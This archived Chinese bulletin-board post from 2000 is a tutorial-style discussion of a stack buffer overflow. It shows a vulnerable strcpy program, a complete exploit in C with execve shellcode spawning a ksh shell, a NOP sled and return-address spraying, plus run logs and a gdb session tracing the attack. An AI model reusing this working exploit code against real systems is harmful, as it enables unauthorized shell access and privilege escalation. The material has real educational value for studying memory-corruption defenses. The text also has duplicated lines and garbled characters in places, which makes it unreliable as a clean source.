荔园在线

荔园之美,在春之萌芽,在夏之绽放,在秋之收获,在冬之沉淀

[回到开始] [上一篇][下一篇]


发信人: bstone (无心伤害), 信区: Hacker
标  题: shellcode延伸讨论
发信站: BBS 荔园晨风站 (Fri Mar 17 21:02:03 2000), 站内信件

发信人: cloudsky (小四), 信区: Security
标  题: shellcode延伸讨论
发信站: 武汉白云黄鹤站 (Thu Mar  9 21:40:40 2000), 站内信件

1. 一个问题程序overflow.c

/* gcc -g -ggdb -static -o overflow overflow.c */
int main ( int argc, char * argv[] )
{
    char buffer[ 256 ] = "";
    if ( argc > 1 )
    {
        strcpy( buffer, argv[1] );
        puts( buffer );
    }
    else
    {
        puts( "Argv[1] needed!" );
    }
    return 0;
}

2. 溢出攻击程序overflow_ex.c
2. 溢出攻击程序overflow_ex.c

/* gcc -g -ggdb -static -o overflow_ex overflow_ex.c */

#define BUFFER_SIZE    256
#define DEFAULT_OFFSET 64

unsigned long get_esp ()
{
    __asm__
    ("
        movl %esp, %eax
    ");
}

int main ( int argc, char * argv[] )
{

    char shellcode[] =
        "\xeb\x1f\x5e\x89\x76\x09\x31\xc0\x88\x46\x08\x89\x46\x0d\xb0\x0b"
        "\x89\xf3\x8d\x4e\x09\x8d\x56\x0d\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
        "\x80\xe8\xdc\xff\xff\xff/bin/ksh";


    char *          buffer   = 0;
    unsigned long * pAddress = 0;
    char *          pChar    = 0;
    int             i;
    int             offset   = DEFAULT_OFFSET;

    if ( argc > 1 )  /* 就懒得做命令行参数检查了 */
    {
        offset = atoi( argv[1] );
    }

    buffer = ( char * )malloc( BUFFER_SIZE * 2 + 1 );
    if ( buffer == 0 )
    {
        puts( "Can't allocate memory" );
        exit( 0 );
    }
    pChar = buffer;
    /* fill start of buffer with nops */
    memset( pChar, 0x90, BUFFER_SIZE - strlen( shellcode ) );
    pChar += ( BUFFER_SIZE - strlen( shellcode ) );
    /* stick asm code into the buffer */
    /* stick asm code into the buffer */
    for ( i = 0; i < strlen( shellcode ); i++ )
    {
        *( pChar++ ) = shellcode[ i ];
    }
    pAddress = ( unsigned long * )pChar;
    for ( i = 0 ; i < ( BUFFER_SIZE / 4 ); i++ )
    {
        *( pAddress++ ) = get_esp() + offset;  /* 返回地址 */
    }
    pChar  = ( char * )pAddress;
    *pChar = 0;
    execl( "/home/scz/src/overflow", "/home/scz/src/overflow", buffer, 0 );
    return 0;
}

[scz@ /home/scz/src]> gcc -g -ggdb -static -o overflow overflow.c
[scz@ /home/scz/src]> gcc -g -ggdb -static -o overflow_ex overflow_ex.c
[scz@ /home/scz/src]> ./overflow_ex -800 (溢出失败)
Segmentation fault (core dumped)
[scz@ /home/scz/src]> ./overflow_ex -700 (溢出成功)
[scz@ /home/scz/src]> ./overflow_ex 0 (溢出成功)
[scz@ /home/scz/src]> ./overflow_ex 64 (溢出成功)
[scz@ /home/scz/src]> ./overflow_ex 64 (溢出成功)
(也是缺省值,值得注意的是64前后的值效果差别很大,比如59可以成功,但58/60全部失?

[scz@ /home/scz/src]> ./overflow_ex 65 (溢出失败)
Illegal instruction (core dumped)
[scz@ /home/scz/src]>

可以看出,有些是指针指向不可访问区域导致段溢出,有些是返回地址指向的
区域不包含有效Intel CPU指令(实际就是无法正确反汇编出正常指令)。具体的
offset应该为多少,这个和overflow.c/overflow_ex.c以及编译选项有关。
这次的例子一般在-179 <--> +31之间就很好,我说的是普通用户,如果是root,
offset取值范围的变化还是很明显的。

3. 下面我们用gdb来看看发生了什么事

[scz@ /home/scz/src]> gdb ./overflow_ex
GNU gdb 4.17.0.11 with Linux support
This GDB was configured as "i386-redhat-linux"...
(gdb) disas main
Dump of assembler code for function main:
0x80481a8 <main>:       pushl  %ebp
0x80481a9 <main+1>:     movl   %esp,%ebp
0x80481ab <main+3>:     subl   $0x48,%esp
0x80481ab <main+3>:     subl   $0x48,%esp
0x80481ae <main+6>:     pushl  %edi
0x80481af <main+7>:     pushl  %esi
0x80481b0 <main+8>:     pushl  %ebx
... ...
0x80482f2 <main+330>:   movl   0xffffffc8(%ebp),%eax
0x80482f5 <main+333>:   movl   %eax,0xffffffc4(%ebp)
0x80482f8 <main+336>:   movl   0xffffffc4(%ebp),%eax
0x80482fb <main+339>:   movb   $0x0,(%eax)
0x80482fe <main+342>:   pushl  $0x0
0x8048300 <main+344>:   movl   0xffffffcc(%ebp),%eax
0x8048303 <main+347>:   pushl  %eax
0x8048304 <main+348>:   pushl  $0x806f645
0x8048309 <main+353>:   pushl  $0x806f645
0x804830e <main+358>:   call   0x804d390 <execl>
0x8048313 <main+363>:   addl   $0x10,%esp
0x8048316 <main+366>:   xorl   %eax,%eax
0x8048318 <main+368>:   jmp    0x8048320 <main+376>
0x804831a <main+370>:   leal   0x0(%esi),%esi
0x8048320 <main+376>:   leal   0xffffffac(%ebp),%esp
0x8048323 <main+379>:   popl   %ebx
0x8048324 <main+380>:   popl   %esi
0x8048325 <main+381>:   popl   %edi
0x8048325 <main+381>:   popl   %edi
0x8048326 <main+382>:   leave
0x8048327 <main+383>:   ret
End of assembler dump.
(gdb) list 46,56
46              *( pChar++ ) = shellcode[ i ];
47          }
48          pAddress = ( unsigned long * )pChar;
49          for ( i = 0 ; i < ( BUFFER_SIZE / 4 ); i++ )
50          {
51              *( pAddress++ ) = get_esp() + offset;  /* 返回地址 */
52          }
53          pChar  = ( char * )pAddress;
54          *pChar = 0;
55          execl( "/home/scz/src/overflow", "/home/scz/src/overflow", buffer,
);
56          return 0;
(gdb) break 55
Breakpoint 1 at 0x80482fe: file overflow_ex.c, line 55.
(gdb) run
Starting program: /home/scz/src/./overflow_ex

Breakpoint 1, main (argc=1, argv=0xbffffd94) at overflow_ex.c:55
Breakpoint 1, main (argc=1, argv=0xbffffd94) at overflow_ex.c:55
55          execl( "/home/scz/src/overflow", "/home/scz/src/overflow", buffer,
);
(gdb) p buffer < ---- 八进制的\220就是0x90,NOP指令
$1 = 0x8079da8 '\220' <repeats 200 times>...
(gdb) x/513bx 0x8079da8
0x8079da8:      0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90 < -
-- NOP指令
... ...
0x8079e78:      0x90    0x90    0xeb    0x1f    0x5e    0x89    0x76    0x09
0x8079e80:      0x31    0xc0    0x88    0x46    0x08    0x89    0x46    0x0d
0x8079e88:      0xb0    0x0b    0x89    0xf3    0x8d    0x4e    0x09    0x8d
0x8079e90:      0x56    0x0d    0xcd    0x80    0x31    0xdb    0x89    0xd8
0x8079e98:      0x40    0xcd    0x80    0xe8    0xdc    0xff    0xff    0xff
0x8079ea0:      0x2f    0x62    0x69    0x6e    0x2f    0x6b    0x73    0x68 < -
-- shellcode到此结束
0x8079ea8:      0x28    0xfd    0xff    0xbf    0x28    0xfd    0xff    0xbf < -
-- 用于覆盖的返回地址
... ...         这个地址在offset缺省等于64的情况下是0xbffffd28
0x8079fa0:      0x28    0xfd    0xff    0xbf    0x28    0xfd    0xff    0xbf
0x8079fa8:      0x00
(gdb) inf reg
     ... ...
     ... ...
     esp: 0xbffffcf0 -1073742608 < ---- 注意到esp是0xbffffcf0,0xbffffd28 - 64
0xbffffce8
                                        应该意识到malloc是在heap中申请空间,而静
勘淞?
                                        是在stack中分配空间。
     ebp: 0xbffffd44 -1073742524
     ... ...
     eip:  0x80482fe   134513406
     ... ...

(gdb) p &offset < ---- 最后一个局部变量,esp与&offset之间还有16个字节
$2 = (int *) 0xbffffd00
(gdb) p &i
$3 = (int *) 0xbffffd04
(gdb) p &buffer
$4 = (char **) 0xbffffd10
(gdb) p &shellcode < ---- 第一个局部变量,注意内存空间的分配方向
$5 = (char (*)[47]) 0xbffffd14
(gdb) x/20bx $esp+16
0xbffffd00:     0x40    0x00    0x00    0x00    0x40    0x00    0x00    0x00
0xbffffd08:     0xa8    0x9f    0x07    0x08    0xa8    0x9f    0x07    0x08
0xbffffd10:     0xa8    0x9d    0x07    0x08
0xbffffd10:     0xa8    0x9d    0x07    0x08
(gdb) x/46bx $esp+16+20 < ---- 5个局部变量总共20字节,这里开始的是shellcode
0xbffffd14:     0xeb    0x1f    0x5e    0x89    0x76    0x09    0x31    0xc0
0xbffffd1c:     0x88    0x46    0x08    0x89    0x46    0x0d    0xb0    0x0b
0xbffffd24:     0x89    0xf3    0x8d    0x4e    0x09    0x8d    0x56    0x0d
0xbffffd2c:     0xcd    0x80    0x31    0xdb    0x89    0xd8    0x40    0xcd
0xbffffd34:     0x80    0xe8    0xdc    0xff    0xff    0xff    0x2f    0x62
0xbffffd3c:     0x69    0x6e    0x2f    0x6b    0x73    0x68
(gdb)

$esp + 16 + 20 + 46 = 0xbffffd42
$ebp                = 0xbffffd44

为什么会多出来两个字节呢,因为编译器考虑了大量的4字节对齐问题,这里

$ebp - $esp = 84

84是4的整数倍,而82不是的。

4. 观察overflow.c的源代码,如果$ebp也等于0xbffffd44的话,地址0xbffffd28是
   位于正常的buffer[256]空间中的,这个位置将来会被NOP指令填充。如果offset
   比64小,0xbffffd28也相应减小,还是位于NOP指令填充区。


   假设通过execl调用的overflow流程中
   $ebp = 0xbffffd44 ( 这个即使有偏差也不会很大 )
   $ebp - 256 = 0xbffffc44 ( 给buffer[256]分配空间 )
   0xbffffd28 - 64 - 0xbffffc44     = 164
   0xbffffd44 - ( 0xbffffd28 - 64 ) = 92

   就是说,按照这个推理,./overflow_ex -164应该溢出成功,而且
   ./overflow_ex 92也应该溢出成功,事实上后者溢出失败。不过这
   里以64为基准研究不科学,应该是用0的,因为64前后都溢出失败,
   说明64本身溢出成功不是简单地靠返回地址落入NOP区,而0的确是
   靠返回地址落入NOP区溢出成功。64、59这些溢出点都是因为什么
   机制而溢出成功的呢?因为目前我对gdb的调试功能研究不透彻,
   无法调试execl出来的进程空间,没办法。

   似乎可以考虑在overflow.c中增加sleep()调用,然后用ps找到PID,
   然后利用attach功能来调试?没有尝试过多进程调试,很昏。

5. 现在我也开始不理解了,为什么 -700 这种offset也能溢出成功。
   究竟这些非常规的溢出点,我是说和-179 <--> +31相比,为什么
   能够溢出成功。总不成-700这种溢出点到了overflow_ex进程存在
   时malloc出来的heap区,或许execl替换进程空间的时候并没有清
   除以前进程空间里的数据,而那里有完整的用于溢出的代码,按照
   除以前进程空间里的数据,而那里有完整的用于溢出的代码,按照
   我这个假设,就是说offset总有两大段区域可供选择,在0附近和
   -700附近分别有两个大约256字节宽度的NOP区。你们什么看法?

   啊哈,要是我这个胡说八道成立,可以考虑在overflow_ex中先
   malloc一堆无用空间,把heap区向高地址推进,避免overflow进程
   中malloc破坏了overflow_ex进程残留下来的heap区数据,同时
   保证overflow_ex中始终用malloc来构造shellcode,要是用固定
   数组来构造shellcode,因为使用了stack区,估计很容易被破坏
   掉。这样,我们可以选择的溢出点就多了一倍,要么进入常规溢
   出点,要么加大粒度进入残留heap区,当然offset要向负方向增
   长(根据get_esp后面是+还是-决定)。

   可是59、64又该如何解释,碰巧有跳转指令么,那也太玄了,我倒。

   归根结底还是我们不知道如何调试execl出来的进程,chat* sigh。


--
            我问飘逝的风:来迟了?
            风感慨:是的,他们已经宣战。
            我问苏醒的大地:还有希望么?
            大地揉了揉眼睛:还有,还有无数代的少年。
   啊哈,要是我这个胡说八道成立,可以考虑在overflow_ex中先
            我问长空中的英魂:你们相信?
            英魂带着笑意离去:相信,希望还在。

※ 来源:.武汉白云黄鹤站 bbs.whnet.edu.cn.[FROM: 203.207.226.124]

--
☆ 来源:.BBS 荔园晨风站 bbs.szu.edu.cn.[FROM: bbs@192.168.28.23]


[回到开始] [上一篇][下一篇]

荔园在线首页 友情链接:深圳大学 深大招生 荔园晨风BBS S-Term软件 网络书店